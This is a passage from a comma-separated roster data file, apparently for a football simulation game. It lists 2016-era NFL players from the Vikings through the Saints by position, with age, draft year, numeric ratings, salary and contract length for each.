Patterson,25,2013,86,69,94,72,90,95,1.8,4 WR,Laquon Treadwell,21,2016,95,75,85,91,85,85,2.5,4 WR,Kyle Rudolph,26,2011,84,74,78,81,75,49,7.3,5 OL,TJ Clemmings,24,2015,83,45,92,84,85,78,0.7,4 OL,Andre Smith,29,2009,97,77,88,95,85,88,3.5,1 OL,Brandon Fusco,27,2011,74,75,84,89,80,85,4.9,5 OL,Alex Boone,29,2009,58,86,90,90,87,84,6.7,4 OL,Matt Kalil,26,2012,100,84,92,89,82,73,4.9,4 OL,John Sullivan,30,2008,66,93,94,87,90,78,5.6,3 OL,Austin Shepherd,24,2015,68,60,92,73,77,71,0.6,4 OL,Joe Berger,34,2005,63,77,90,85,84,79,1.1,2 K,Jeff Locke,26,2013,76,68,97,87,86,72,0.6,4 K,Blair Walsh,26,2012,70,78,95,104,94,70,3.3,4 S,Michael Griffin,31,2007,85,81,94,74,90,74,2.5,1 S,Andrew Sendejo,28,2010,59,72,90,78,88,81,4,4 S,Harrison Smith,27,2012,85,82,95,92,90,92,10.3,5 CB,Captain Munnerlyn,28,2009,67,84,91,90,92,65,3.8,3 CB,Jabari Price,23,2014,67,48,87,79,90,48,0.6,4 CB,Xavier Rhodes,26,2013,86,78,88,93,90,70,2,4 CB,Terence Newman,37,2003,91,91,88,83,85,65,2.5,1 CB,Melvin White,25,2013,62,69,92,80,83,58,0.6,1 CB,Marcus Sherels,28,2010,59,70,88,70,96,39,2,2 CB,Trae Waynes,23,2015,93,58,88,97,92,40,3.2,4 DL,Justin Trattou,27,2011,60,59,87,75,76,70,0.8,1 DL,Brian Robison,33,2007,75,87,94,82,60,65,5.6,4 DL,Zach Moore,25,2014,72,49,92,78,71,79,0.6,3 DL,Danielle Hunter,21,2015,83,47,90,77,58,65,0.7,4 DL,Bruce Gaston,24,2014,64,58,94,92,78,81,0.6,1 DL,Kenrick Ellis,28,2011,79,69,88,92,81,85,0.8,1 DL,Linval Joseph,27,2010,83,77,87,95,82,88,6.3,5 DL,Scott Crichton,24,2014,87,57,94,83,81,75,0.8,4 DL,Everson Griffen,28,2010,78,82,88,76,94,71,8.5,5 DL,Sharrif Floyd,24,2013,91,76,93,84,88,91,2,4 DL,Tom Johnson,31,2006,59,78,87,81,88,74,2.3,3 DL,Shamar Stephen,25,2014,72,62,90,85,76,85,0.6,4 LB,Eric Kendricks,24,2015,88,63,83,87,57,75,1.3,4 LB,Chad Greenway,33,2006,84,90,89,79,76,87,2.8,1 LB,Casey Matthews,27,2011,65,72,90,82,63,66,0.8,1 LB,Emmanuel Lamur,27,2012,60,72,88,74,63,73,2.8,2 LB,Audie Cole,27,2012,70,73,95,85,73,73,0.8,1 LB,Brandon Watts,25,2014,72,49,87,74,64,49,0.6,2 LB,Anthony Barr,24,2014,102,75,85,85,93,76,3.2,4 LB,Jason Trusnik,32,2007,65,74,88,77,71,76,0.9,1 LB,Travis Lewis,28,2012,70,70,87,80,60,68,0.8,1 LB,Edmond Robinson,24,2015,68,45,88,76,51,45,0.6,4 END_PLAYERS Dallas Cowboys,DAL QB,Tony Romo,36,2003,51,92,85,89,92,74,18,6 QB,Jameill Showers,24,2015,64,37,87,91,63,70,0.5,3 QB,Kellen Moore,26,2012,61,69,96,75,82,20,0.7,2 RB,Darren McFadden,28,2008,97,82,72,80,90,57,1.5,2 RB,Alfred Morris,27,2012,75,83,94,94,83,67,1.8,2 RB,Ezekiel Elliott,20,2016,105,85,90,87,93,85,6.2,4 RB,Lance Dunbar,26,2012,60,69,93,54,91,86,1.3,1 WR,Gavin Escobar,25,2013,86,64,95,83,76,76,1.1,4 WR,Terrance Williams,26,2013,86,78,92,88,87,71,0.7,4 WR,Cole Beasley,27,2012,60,77,91,86,87,82,3.4,4 WR,James Hanna,26,2012,70,70,90,71,89,73,2.8,3 WR,Jason Witten,34,2003,76,97,95,95,76,35,7.4,5 WR,Vince Mayle,25,2015,84,52,91,79,83,62,0.5,3 WR,Rodney Smith,26,2013,62,50,89,72,87,65,0.7,3 WR,Brice Butler,26,2013,71,70,88,77,92,63,0.6,4 WR,Devin Street,25,2014,77,65,90,82,87,59,0.6,4 WR,Dez Bryant,27,2010,88,90,88,108,94,92,14,5 OL,Tyron Smith,25,2011,99,84,87,88,96,94,12.2,8 OL,Jared Smith,26,2013,69,64,74,84,80,72,0.5,2 OL,Doug Free,32,2007,75,86,93,82,92,81,5,3 OL,Zack Martin,25,2014,92,75,97,89,89,96,2.2,4 OL,Bryan Witzmann,26,2014,63,62,94,80,81,71,0.5,1 OL,La'el Collins,22,2015,63,50,92,83,88,76,0.5,3 OL,Joe Looney,25,2012,81,68,85,82,79,68,0.8,2 OL,Travis Frederick,25,2013,86,84,91,90,99,84,1.7,4 K,Dan Bailey,28,2011,59,84,88,103,106,69,3.2,7 K,Chris Jones,25,2013,72,75,92,92,89,82,0.6,4 S,Barry Church,28,2010,58,81,97,71,87,92,2.2,4 S,Danny McCray,28,2010,65,69,89,74,85,73,0.8,1 S,Jeff Heath,25,2013,61,58,91,75,88,65,1.9,4 S,JJ Wilcox,27,2013,81,67,90,76,91,87,0.7,4 CB,Byron Jones,23,2015,88,56,86,85,94,60,2.2,4 CB,Brandon Carr,30,2008,71,83,97,79,92,50,10,5 CB,Morris Claiborne,26,2012,100,69,88,75,89,44,3,1 CB,Isaiah Frey,26,2012,72,67,92,81,89,73,0.6,1 CB,Orlando Scandrick,29,2008,71,84,94,97,92,62,3.8,5 DL,Tyrone Crawford,26,2012,81,73,87,81,89,82,9,5 DL,Jack Crawford,27,2012,75,67,84,69,82,76,1.1,1 DL,Ryan Russell,24,2015,78,49,83,77,80,64,0.6,4 DL,Terrell McClain,27,2011,84,74,87,92,81,82,1,3 DL,DeMarcus Lawrence,24,2014,88,61,92,76,88,68,1.4,4 DL,Randy Gregory,23,2015,88,45,82,73,71,66,1,4 DL,Greg Hardy,27,2010,65,80,83,86,94,82,11.3,1 DL,Cedric Thornton,28,2011,60,79,90,88,79,88,4.3,4 DL,Casey Walker,26,2013,63,54,88,85,78,72,0.5,3 DL,Nick Hayden,30,2008,65,82,90,84,71,73,0.8,1 DL,Lawrence Okoye,24,2013,63,33,90,85,81,61,0.5,1 DL,Benson Mayowa,24,2013,61,63,88,70,64,49,2.8,3 DL,Jeremy Mincey,32,2007,65,83,91,86,84,78,1.5,2 LB,Rolando McClain,26,2010,100,86,89,92,80,85,4,1 LB,Anthony Hitchens,24,2014,82,74,94,84,73,76,0.7,4 LB,Mark Nzeocha,26,2015,68,45,76,81,56,42,0.6,4 LB,Brandon Hepburn,26,2013,69,66,91,82,62,72,0.5,1 LB,Damien Wilson,23,2015,78,59,88,81,65,70,0.7,4 LB,Kyle Wilber,27,2012,80,74,88,84,66,73,1.6,2 LB,Andrew Gachkar,27,2011,65,77,85,82,79,76,1.8,2 LB,Sean Lee,29,2010,83,87,73,92,93,95,7,6 END_PLAYERS New York Giants,NYG QB,BJ Daniels,26,2013,67,45,85,84,71,64,0.6,2 QB,Ryan Nassib,26,2013,82,52,95,88,85,37,0.7,4 QB,Eli Manning,35,2004,92,90,98,89,87,30,21,4 RB,Orleans Darkwa,24,2014,63,62,85,85,90,57,0.6,1 RB,Nikita Whitlock,25,2014,64,49,92,75,78,42,0.5,2 RB,Rashad Jennings,31,2009,63,81,94,90,84,59,2.5,4 RB,Shane Vereen,27,2011,85,79,87,53,87,84,4.1,3 RB,Will Johnson,27,2012,59,72,93,71,79,58,1.2,2 RB,Andre Williams,23,2014,83,70,82,88,86,67,0.7,4 RB,Bobby Rainey,28,2012,59,72,93,59,87,83,0.8,1 WR,Larry Donnell,27,2012,62,74,92,82,73,49,1.7,1 WR,Myles White,26,2013,62,57,91,76,90,85,0.6,1 WR,Geremy Davis,24,2015,74,43,83,84,89,64,0.6,4 WR,Odell Beckham JR,23,2014,92,82,94,97,92,94,2.6,4 WR,Victor Cruz,29,2010,59,84,85,87,88,91,8.6,5 WR,Dwayne Harris,28,2011,69,77,88,83,86,88,3.5,5 WR,Hakeem Nicks,28,2009,65,81,79,85,85,61,0.7,1 WR,Tavarres King,25,2013,77,58,87,73,89,88,0.6,2 OL,Byron Stingily,27,2011,69,69,92,82,77,79,0.8,1 OL,Dallas Reynolds,32,2009,65,71,90,88,80,69,0.7,1 OL,Justin Pugh,25,2013,91,74,90,83,78,83,2.1,4 OL,Weston Richburg,24,2014,87,72,92,85,75,82,1.2,4 OL,John Jerry,30,2010,84,77,79,90,79,77,1.7,2 OL,Ereck Flowers,22,2015,103,57,85,95,86,82,3.6,4 OL,Adam Gettis,27,2012,78,57,77,78,81,73,0.7,1 OL,Dillon Farrell,25,2014,62,58,92,84,80,73,0.5,1 OL,Ryan Seymour,26,2013,72,64,92,83,80,70,0.6,1 OL,Bobby Hart,21,2015,68,59,93,84,81,69,0.6,4 OL,Brandon Mosley,27,2012,65,56,88,93,82,71,0.6,4 OL,Shane McDermott,24,2015,64,64,90,82,70,76,0.5,2 OL,Marshall Newhouse,27,2010,74,78,91,88,81,76,1.5,2 K,Josh Brown,37,2003,62,84,90,89,92,64,2,2 K,Brad Wing,25,2013,63,67,84,89,84,73,0.6,1 S,Cooper Taylor,26,2013,77,50,99,75,88,73,0.6,2 S,Craig Dahl,30,2007,65,74,90,69,88,75,0.9,1 S,Landon Collins,22,2015,90,52,87,64,90,90,1.5,4 S,Nat Berhe,24,2014,77,44,92,71,90,80,0.6,4 S,Mykkele Thompson,23,2015,79,42,91,72,92,63,0.6,4 CB,Trevin Wade,26,2012,66,47,87,73,88,44,0.6,2 CB,Dominique Rodgers-Cromartie,30,2008,87,89,90,86,95,50,7,5 CB,Trumaine McBride,30,2007,65,75,89,79,89,52,1.4,2 CB,Leon McFadden,25,2013,86,60,90,79,91,33,0.7,2 CB,Jayron Hosley,25,2012,65,66,88,81,92,32,0.7,4 CB,Janoris Jenkins,27,2012,84,75,89,82,92,50,12.5,5 CB,Tramain Jacobs,24,2014,62,48,90,74,90,49,0.6,2 CB,Eli Apple,20,2016,95,65,85,84,94,70,3.8,4 CB,Bennett Jackson,24,2014,73,42,95,81,90,60,0.5,1 DL,Johnathan Hankins,24,2013,87,78,92,93,89,94,1,4 DL,Stansly Maponga,25,2013,76,67,83,78,63,55,0.6,2 DL,Olivier Vernon,25,2012,85,75,90,93,89,74,17,5 DL,Jay Bromley,24,2014,87,54,95,84,84,81,0.8,4 DL,Kerry Wynn,25,2014,63,55,94,86,76,77,0.5,3 DL,Owamagbe Odighizuwa,24,2015,89,49,74,79,82,75,0.8,4 DL,Jason Pierre-Paul,27,2010,89,85,93,85,58,81,10,1 DL,Damon Harrison,27,2012,59,83,90,92,85,97,9.3,5 DL,Cullen Jenkins,35,2003,65,86,91,87,82,75,2.7,3 DL,Montori Hughes,25,2013,76,65,94,84,81,80,0.6,2 DL,George Selvie,29,2010,65,76,86,64,71,64,1,1 LB,Mark Herzlich,28,2011,60,77,80,90,55,85,1.3,2 LB,Devon Kennard,24,2014,78,74,80,83,88,74,0.6,4 LB,Jasper Brinkley,30,2009,72,80,83,91,74,78,1.8,1 LB,JT Thomas,27,2011,70,74,81,77,57,76,3.3,3 LB,Kelvin Sheppard,28,2011,84,74,95,82,66,71,0.8,1 LB,Jonathan Casillas,29,2009,57,75,77,76,53,79,2.7,3 LB,Keenan Robinson,26,2012,79,76,85,87,64,74,2.6,1 END_PLAYERS Philadelphia Eagles,PHI QB,Sam Bradford,28,2010,98,76,71,87,75,29,17.5,2 QB,Chase Daniel,29,2009,57,70,90,82,71,50,7,3 QB,Carson Wentz,23,2016,105,75,85,93,89,83,6.7,4 RB,Trey Burton,24,2014,62,55,95,57,86,83,0.5,3 RB,Kenjon Barner,27,2013,72,49,90,46,87,92,0.6,2 RB,Darren Sproles,33,2005,68,87,87,40,87,88,3.5,3 RB,Ryan Mathews,29,2010,98,79,79,86,90,77,3.7,3 WR,Trey Burton,24,2014,62,55,95,75,86,83,0.5,3 WR,Brent Celek,31,2007,70,85,90,73,74,60,4.3,3 WR,Seyi Ajirotutu,29,2010,65,67,92,77,82,55,0.8,1 WR,Chris Givens,26,2012,80,69,86,72,92,85,0.8,1 WR,Josh Huff,24,2014,82,66,87,80,88,84,0.7,4 WR,Nelson Agholor,23,2015,93,51,90,87,92,85,2.3,4 WR,Rueben Randle,25,2012,85,78,94,87,89,66,1,1 WR,TJ Graham,26,2012,86,70,92,74,90,76,0.7,1 WR,Jordan Matthews,23,2014,87,75,95,88,90,65,1.2,4 OL,Matt Tobin,26,2013,61,70,92,79,81,71,0.8,2 OL,Barrett Jones,26,2013,82,67,80,79,78,85,0.6,2 OL,Dennis Kelly,26,2012,75,68,92,86,70,79,0.9,1 OL,Allen Barbre,32,2007,76,76,88,84,83,75,1.5,3 OL,Brandon Brooks,26,2012,80,79,77,95,97,78,8,5 OL,Jason Kelce,28,2011,69,86,90,81,94,78,6.3,6 OL,Stefen Wisniewski,27,2011,84,82,94,85,88,74,1.5,1 OL,Andrew Gardner,30,2009,68,73,92,87,86,70,1.5,3 OL,Lane Johnson,26,2013,101,69,93,86,92,87,11.3,5 OL,Jason Peters,34,2004,52,87,76,98,96,97,10.3,4 K,Donnie Jones,35,2004,62,80,87,85,91,75,1.8,3 K,Caleb Sturgis,26,2013,76,74,85,93,84,75,0.6,2 K,Cody Parkey,24,2014,62,69,92,94,91,71,0.5,3 S,Chris Maragos,29,2010,58,75,90,69,90,81,1.4,3 S,Rodney McLeod,25,2012,60,74,92,83,90,75,7,5 S,Malcolm Jenkins,28,2009,87,83,96,87,92,76,8.8,4 S,Ed Reynolds,24,2014,78,49,85,76,90,79,0.5,2 CB,Randall Evans,24,2015,74,53,90,76,90,51,0.5,2 CB,Nolan Carroll,29,2010,73,72,84,75,90,55,2.4,1 CB,JaCorey Shepherd,23,2015,73,49,84,76,88,33,0.6,4 CB,Jaylen Watkins,23,2014,83,48,93,84,93,62,0.6,2 CB,Ron Brooks,27,2012,80,58,87,70,90,60,1.8,3 CB,Leodis McKelvin,30,2008,86,81,89,83,94,45,3.1,2 CB,Eric Rowe,23,2015,88,54,84,81,91,67,1.2,4 DL,Mike Martin,25,2012,80,70,87,84,83,69,0.6,1 DL,Fletcher Cox,25,2012,90,82,93,85,88,87,17.1,6 DL,Taylor Hart,25,2014,77,55,92,76,77,83,0.6,4 DL,Bennie Logan,26,2013,86,77,92,88,77,87,0.8,4 DL,Beau Allen,24,2014,72,61,93,87,74,83,0.6,4 DL,Vinny Curry,27,2012,85,73,90,77,80,69,9.5,5 DL,Steven Means,26,2013,78,50,93,69,82,83,0.6,3 LB,Brandon Graham,28,2010,88,80,78,86,93,81,6.5,4 LB,Nigel Bradham,26,2012,80,77,96,87,77,76,3.5,2 LB,Mychal Kendricks,25,2012,85,86,87,90,85,85,7.3,4 LB,Marcus Smith,24,2014,87,61,89,84,86,62,1.9,4 LB,Connor Barwin,29,2009,82,86,94,79,95,87,6,6 LB,Jordan Hicks,24,2015,83,60,74,81,64,58,0.7,4 LB,Bryan Braman,29,2011,59,75,88,78,79,70,1,2 LB,Najee Goode,27,2012,75,66,88,74,70,61,0.8,1 END_PLAYERS Washington Redskins,WAS QB,Kirk Cousins,27,2012,80,66,88,84,71,30,20,1 QB,Colt McCoy,29,2010,78,69,88,81,74,60,3,3 RB,Chris Thompson,25,2013,77,59,70,36,90,81,0.7,1 RB,Silas Redd,24,2014,62,55,82,79,82,73,0.5,3 RB,Darrel Young,29,2009,55,78,90,84,82,45,1.3,3 RB,Matt Jones,23,2015,83,56,76,90,85,60,0.7,4 WR,Jamison Crowder,23,2015,84,63,91,82,90,85,0.7,4 WR,Josh Doctson,23,2016,95,75,85,85,92,85,2.5,4 WR,Ryan Grant,25,2014,77,65,87,84,87,71,0.6,4 WR,Pierre Garcon,29,2008,66,85,90,86,87,85,8.5,5 WR,DeSean Jackson,29,2008,81,88,86,92,112,97,6,4 WR,Jordan Reed,25,2013,81,75,84,96,80,78,9.4,5 WR,Niles Paul,26,2011,74,69,93,77,88,60,2,3 OL,Austin Reiter,24,2015,74,56,91,77,77,72,0.5,2 OL,Trent Williams,27,2010,98,84,93,92,85,92,13.6,5 OL,Arie Kouandjio,24,2015,83,52,73,84,81,72,0.7,4 OL,Morgan Moses,25,2014,87,60,85,89,79,84,0.8,4 OL,Shawn Lauvao,28,2010,78,82,88,86,80,83,4.3,4 OL,Al Bond,24,2015,64,60,92,80,84,67,0.5,1 OL,Spencer Long,25,2014,82,54,78,88,83,78,0.7,4 OL,Kory Lichtensteiger,31,2008,77,88,81,82,89,86,3.5,5 OL,Brandon Scherff,24,2015,103,64,85,83,89,80,5.3,4 OL,Josh LeRibeus,26,2012,85,62,87,88,83,76,0.9,1 OL,Ty Nsekhe,30,2012,63,66,85,85,79,71,0.6,2 K,Dustin Hopkins,25,2013,72,61,87,93,81,74,0.6,3 K,Tress Way,26,2013,62,76,92,97,91,67,1.5,5 S,Kyshoen Jarrett,23,2015,73,38,82,62,90,83,0.6,4 S,Duke Ihenacho,27,2012,61,72,89,68,88,85,0.7,1 CB,DeAngelo Hall,32,2004,92,74,80,86,87,50,4.3,4 CB,Will Blackmon,31,2006,75,77,79,78,86,30,1,2 CB,Jeremy Harris,25,2013,72,63,93,75,88,50,0.5,3 CB,Cary Williams,31,2008,65,82,90,87,92,45,0.9,1 CB,Josh Norman,28,2012,75,82,97,104,91,63,15,5 CB,Greg Toler,31,2009,72,79,87,86,88,45,0.8,1 CB,Bashaud Breeland,24,2014,82,64,89,73,89,55,0.7,4 DL,Stephen Paea,28,2011,84,80,85,98,89,83,5.3,4 DL,Kendall Reyes,26,2012,85,74,90,89,77,79,2.5,1 DL,Chris Baker,28,2009,60,74,88,87,83,77,3,3 DL,Kedric Golston,33,2006,64,74,83,85,77,77,1,1 DL,Ricky Jean-Francois,29,2009,62,77,82,83,79,85,3,3 DL,Jerrell Powe,29,2011,71,72,88,92,81,85,0.8,1 DL,Lynden Trail,25,2015,64,39,94,71,68,44,0.5,2 LB,Will Compton,26,2013,62,69,91,80,72,69,0.6,1 LB,Ryan Kerrigan,27,2011,89,87,92,83,97,88,11.5,5 LB,Preston Smith,23,2015,88,55,93,79,85,67,1.4,4 LB,Martrell Spaight,22,2015,78,51,88,85,66,52,0.6,4 LB,Adam Hayward,31,2007,65,75,90,79,51,74,1,3 LB,Junior Galette,28,2010,58,90,92,79,87,87,1.6,1 LB,Trent Murphy,25,2014,87,72,90,88,84,74,1.1,4 LB,Terence Garvin,25,2013,61,62,92,78,64,65,0.8,1 LB,Mason Foster,27,2011,79,80,87,84,72,81,1.3,2 END_PLAYERS Atlanta Falcons,ATL QB,Matt Simms,27,2012,61,45,85,86,72,25,0.6,2 QB,Sean Renfree,26,2013,66,57,85,84,83,20,0.6,4 QB,Matt Ryan,31,2008,96,88,95,89,88,20,20.8,5 QB,Matt Schaub,34,2004,72,82,80,81,74,20,2.8,1 RB,Tevin Coleman,23,2015,88,53,82,85,93,70,0.8,4 RB,Devonta Freeman,24,2014,82,68,94,66,86,77,0.7,4 RB,Patrick DiMarco,27,2011,60,77,92,73,73,64,0.7,2 RB,Gus Johnson,22,2015,64,50,85,75,85,70,0.5,2 WR,Julio Jones,27,2011,99,82,83,104,102,87,14.3,5 WR,Aldrick Robinson,27,2011,71,71,90,74,91,88,0.7,1 WR,Justin Hardy,24,2015,83,57,92,87,87,81,0.7,4 WR,CJ Goodwin,26,2014,64,41,91,68,91,64,0.5,2 WR,Devin Hester,33,2006,79,81,89,74,91,94,3,3 WR,Eric Weems,30,2007,55,78,85,76,84,93,1.1,2 WR,Jacob Tamme,31,2008,71,80,88,81,82,47,1.6,2 WR,Mohamed Sanu,26,2012,80,75,92,75,86,73,6.5,5 OL,Chris Chester,33,2006,79,81,85,82,76,86,2.4,1 OL,Ryan Schraeder,28,2013,61,73,92,83,79,91,2.6,1 OL,Alex Mack,30,2009,87,85,98,91,92,86,9,5 OL,Jake Matthews,24,2014,102,75,98,85,80,82,4.1,4 OL,Ben Garland,28,2010,62,61,92,77,79,76,0.6,2 OL,Andy Levitre,30,2009,82,88,95,85,85,76,7.8,6 OL,Bryce Harris,27,2012,60,66,93,82,79,74,0.8,1 OL,James Stone,24,2014,62,72,91,79,74,73,0.5,3 OL,Tom Compton,27,2012,71,69,94,90,85,70,0.8,1 K,Matt Bosher,28,2011,69,83,92,92,97,76,2.5,5 K,Matt Bryant,41,2002,50,88,80,90,94,56,2.8,3 S,Akeem King,23,2015,68,45,92,70,89,65,0.5,2 S,Kemal Ishmael,25,2013,66,68,90,75,91,79,0.6,4 S,Keanu Neal,20,2016,95,65,85,79,90,87,2.7,4 S,Charles Godfrey,30,2008,81,73,94,72,92,69,1,1 CB,Ricardo Allen,24,2014,78,51,93,77,89,55,0.5,1 CB,DeMarcus Van dyke,27,2011,81,59,87,68,93,39,0.7,1 CB,Jalen Collins,23,2015,88,44,85,78,88,40,1.4,4 CB,Desmond Trufant,25,2013,91,79,96,94,93,42,2,4 CB,Robert Alford,27,2013,86,69,80,75,92,47,0.9,4 DL,Vic Beasley,23,2015,103,55,90,87,76,63,3.6,4 DL,Jonathan Babineaux,34,2005,78,87,88,87,65,75,3,3 DL,Adrian Clayborn,28,2011,89,71,87,87,81,81,4.3,2 DL,Ra'Shede Hageman,25,2014,87,53,94,92,83,83,1.3,4 DL,Malliciah Goodman,26,2013,76,69,95,84,76,74,0.6,4 DL,Kroy Biermann,30,2008,65,75,88,79,57,75,1.9,1 DL,Grady Jarrett,23,2015,78,51,84,89,79,64,0.6,4 DL,Tyson Jackson,30,2009,97,85,95,87,72,84,5,5 DL,Derrick Shelby,27,2012,60,68,90,76,83,73,4.5,4 LB,Courtney Upshaw,26,2012,85,77,98,88,86,76,1.3,1 LB,Tyler Starr,25,2014,67,39,94,72,63,69,0.6,2 LB,LaRoy Reynolds,25,2013,61,67,88,78,70,66,0.7,1 LB,Sean Weatherspoon,28,2010,89,81,85,76,87,77,1.5,1 LB,Brooks Reed,29,2011,84,80,93,86,85,80,4.4,5 LB,Paul Worrilow,26,2013,61,81,91,88,69,80,2.6,1 LB,Philip Wheeler,31,2008,76,85,92,82,82,80,1,1 LB,O'Brien Schofield,29,2010,65,76,78,79,65,70,1.7,1 END_PLAYERS Carolina Panthers,CAR QB,Derek Anderson,33,2005,63,73,90,92,72,20,2.4,2 QB,Joe Webb,29,2010,68,66,88,89,66,77,0.9,2 QB,Cam Newton,27,2011,99,83,96,107,97,94,20.8,5 RB,Mike Tolbert,30,2008,56,86,90,85,76,55,1.7,2 RB,Cameron Artis-Payne,25,2015,78,44,90,78,88,70,0.6,4 RB,Fozzy Whittaker,27,2012,61,66,80,56,87,72,0.7,2 RB,Jonathan Stewart,29,2008,86,79,75,70,86,96,7.3,5 WR,Corey Brown,24,2014,62,71,93,79,88,87,0.5,3 WR,Laron Byrd,26,2012,62,52,88,72,89,62,0.5,1 WR,Ted Ginn Jr,31,2007,95,80,90,76,88,90,2.1,2 WR,Kelvin Benjamin,25,2014,87,78,90,91,85,65,1.9,4 WR,Devin Funchess,22,2015,88,58,88,80,89,76,1.4,4 WR,Stephen Hill,25,2012,86,61,85,64,92,62,0.6,1 WR,Tobais Palmer,26,2013,64,60,88,69,91,78,0.5,1 WR,Brenton Bersin,26,2012,62,64,90,78,84,62,0.6,1 WR,Cobi Hamilton,25,2013,74,57,93,80,86,85,0.5,1 WR,Greg Olsen,31,2007,80,89,93,89,83,67,7.5,3 OL,Michael Oher,30,2009,87,81,97,95,75,78,3.5,2 OL,Andrew Norwell,24,2014,62,72,92,81,88,84,0.5,3 OL,Tyler Larsen,24,2014,64,58,96,93,75,77,0.5,2 OL,Tyronne Green,30,2009,65,69,88,84,80,73,0.7,1 OL,Chris Scott,28,2010,75,72,74,92,75,77,0.8,1 OL,Reese Dismukes,23,2015,64,63,85,80,78,72,0.5,1 OL,Daryl Williams,23,2015,83,56,89,87,85,73,0.7,4 OL,Trai Turner,23,2014,82,73,92,88,83,88,0.7,4 OL,Mike Remmers,27,2012,61,72,89,79,78,88,2.6,1 OL,David Yankey,24,2014,78,62,90,84,85,73,0.5,1 OL,Donald Hawkins,24,2014,63,55,90,81,75,80,0.5,3 OL,Gino Gradkowski,27,2012,80,74,93,84,78,71,1.1,3 OL,Amini Silatolu,27,2012,65,71,85,87,83,72,1.2,4 OL,Ryan Kalil,31,2007,80,90,92,88,95,75,8.4,2 K,Graham Gano,29,2009,58,81,90,98,89,77,3.1,4 K,Mike Scifres,35,2003,67,87,76,87,91,62,0.5,1 S,Tre Boston,23,2014,77,71,92,83,88,86,0.7,4 S,Dean Marlowe,23,2015,63,40,94,70,88,75,0.5,3 S,Trenton Robinson,26,2012,70,62,84,75,92,65,0.8,1 S,Colin Jones,28,2011,69,69,88,69,95,70,0.9,2 S,Kurt Coleman,27,2010,63,78,88,81,90,67,1.4,2 CB,Bene Benwikere,24,2014,65,77,93,91,86,45,0.6,4 CB,Teddy Williams,27,2010,60,54,80,67,93,15,0.9,2 CB,Charles Tillman,35,2003,65,89,76,84,85,77,2,1 CB,Robert McClain,27,2010,65,70,90,74,86,54,0.8,2 DL,Paul Soliai,32,2007,75,86,87,93,72,83,3.5,2 DL,Vernon Butler,22,2016,90,65,85,90,92,91,2.1,4 DL,Robert Thomas,25,2014,64,53,84,94,74,76,0.5,2 DL,Wes Horton,26,2013,61,72,88,76,81,73,0.7,1 DL,Matthew Masifilo,26,2012,63,67,92,93,45,45,0.6,1 DL,Mario Addison,28,2011,59,73,90,73,69,70,1.3,2 DL,Kawann Short,27,2013,86,73,95,86,87,80,1.2,4 DL,Larry Webster,26,2014,78,51,88,67,65,67,0.5,1 DL,Star Lotulelei,26,2013,91,77,88,96,86,92,2.4,4 DL,Kyle Love,29,2010,60,74,84,84,75,77,0.8,1 DL,Frank Alexander,26,2012,65,63,78,74,63,66,0.6,4 DL,Charles Johnson,29,2007,71,88,92,93,93,67,3,1 DL,Kony Ealy,24,2014,87,62,92,79,84,68,0.9,4 LB,AJ Klein,24,2013,76,72,91,82,72,75,0.6,4 LB,Thomas Davis,33,2005,83,89,79,102,92,100,9,2 LB,Luke Kuechly,25,2012,100,96,97,108,88,108,12.4,5 LB,Shaq Thompson,22,2015,88,56,93,87,64,72,2.2,4 LB,Ben Jacobs,28,2011,61,70,95,78,74,69,0.7,1 LB,David Mayo,22,2015,78,52,78,85,61,64,0.6,4 END_PLAYERS New Orleans Saints,NO QB,Drew Brees,37,2001,74,97,96,97,101,20,20,5 QB,Garrett Grayson,25,2015,83,54,83,89,75,38,0.9,4 QB,Luke McCown,34,2004,72,76,82,83,73,40,1.5,2 RB,CJ Spiller,28,2010,98,81,82,55,93,88,4,4 RB,Marcus Murphy,24,2015,68,48,77,37,86,86,0.6,4 RB,Mark Ingram,26,2011,84,79,83,87,85,69,4,4 RB,Tim Hightower,30,2008,74,79,85,85,82,55,0.8,1 RB,Travaris Cadet,27,2012,60,67,83,65,82,81,0.8,1 WR,Coby Fleener,27,2012,85,73,85,86,87,65,7.2,5 WR,Vincent Brown,27,2011,80,76,87,78,84,72,0.5,1 WR,Brandin Cooks,22,2014,92,75,92,87,95,92,2.1,4 WR,Michael Hoomanawanui,27,2010,73,77,79,75,77,35,1.7,3 WR,Josh Hill,26,2013,61,69,89,80,82,55,2.4,3 WR,Brandon Coleman,23,2014,63,46,88,82,86,63,0.5,3 OL,Tim Lelito,26,2013,61,75,96,89,85,80,1.7,1 OL,Mike McGlynn,31,2008,65,81,93,87,71,77,0.9,1 OL,Max Unger,30,2009,82,91,89,85,95,84,6.5,4 OL,Terron Armstead,24,2013,81,73,92,83,88,86,16.3,4 OL,Andrus Peat,22,2015,93,65,90,86,82,88,2.8,4 OL,Zach Strief,32,2006,64,88,91,90,82,91,4,5 OL,Senio Kelemete,26,2012,76,69,84,86,78,70,1.4,2 K,Kai Forbath,28,2011,60,73,87,86,90,66,0.8,1 K,Thomas Morstead,30,2009,72,86,95,95,91,76,3.6,6 K,Connor Barth,30,2008,57,74,84,88,93,65,0.5,1 S,Jamarca Sanford,30,2009,62,73,92,71,91,87,1,1 S,Roman Harper,33,2006,80,78,94,63,85,87,1.1,1 S,Kenny Vaccaro,25,2013,91,67,92,90,89,90,2.4,4 S,Jairus Byrd,29,2009,82,84,84,95,89,58,9,6 CB,Brandon Dixon,26,2014,73,50,90,76,90,49,0.5,1 CB,Kyle Wilson,29,2010,83,73,96,74,90,49,0.8,1 CB,Brian Dixon,26,2014,62,62,93,77,89,75,0.5,3 CB,PJ Williams,23,2015,83,51,90,82,95,74,0.8,4 CB,Keenan Lewis,30,2009,77,77,93,74,89,71,5.1,5 CB,Damian Swann,23,2015,78,55,87,78,89,55,0.6,4 CB,Tony Carter,30,2009,59,73,88,80,89,41,0.9,1 DL,Sheldon Rankins,22,2016,95,65,85,92,83,89,3.2,4 DL,Tyeler Davison,23,2015,78,49,88,91,77,85,0.6,4 DL,Nick Fairley,28,2011,89,72,87,90,92,86,3,1 DL,John Jenkins,26,2013,81,71,88,92,76,87,0.7,4 DL,Obum Gwacham,25,2015,73,38,87,74,60,59,0.6,4 DL,Kevin Williams,35,2003,65,93,88,85,78,74,1.5,1 DL,Cameron Jordan,26,2011,89,83,95,90,83,85,11,5 DL,Lawrence Virgil,25,2014,65,49,94,94,81,71,0.5,2 LB,Michael Mauti,26,2013,71,63,72,85,53,73,0.6,4 LB,Anthony Spencer,32,2007,65,80,83,72,65,80,1,1 LB,Stephone Anthony,23,2015,88,67,90,85,76,64,1.9,4 LB,James Laurinaitis,29,2009,82,87,98,78,64,97,2.8,3 LB,Nathan Stupar,28,2012,66,73,92,79,61,77,1.7,3 LB,Tony Steward,23,2015,73,49,74,78,53,70,0.5,1 LB,Craig 